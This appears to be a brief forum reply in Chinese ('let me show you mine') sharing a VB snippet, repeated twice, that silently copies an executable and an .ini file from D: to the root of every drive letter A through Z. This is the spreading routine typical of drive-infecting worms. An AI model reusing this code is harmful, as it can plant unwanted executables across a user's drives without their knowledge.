我把我的给你看下!
On Error Resume Next Dim i As Integer For i = 65 To 90 Call FileCopy("D:\1.ini", Chr(i) & ":\1.ini") Call FileCopy("D:\1.exe", Chr(i) & ":\1.exe") Next
On Error Resume Next Dim i As Integer For i = 65 To 90 Call FileCopy("D:\1.ini", Chr(i) & ":\1.ini") Call FileCopy("D:\1.exe", Chr(i) & ":\1.exe") Next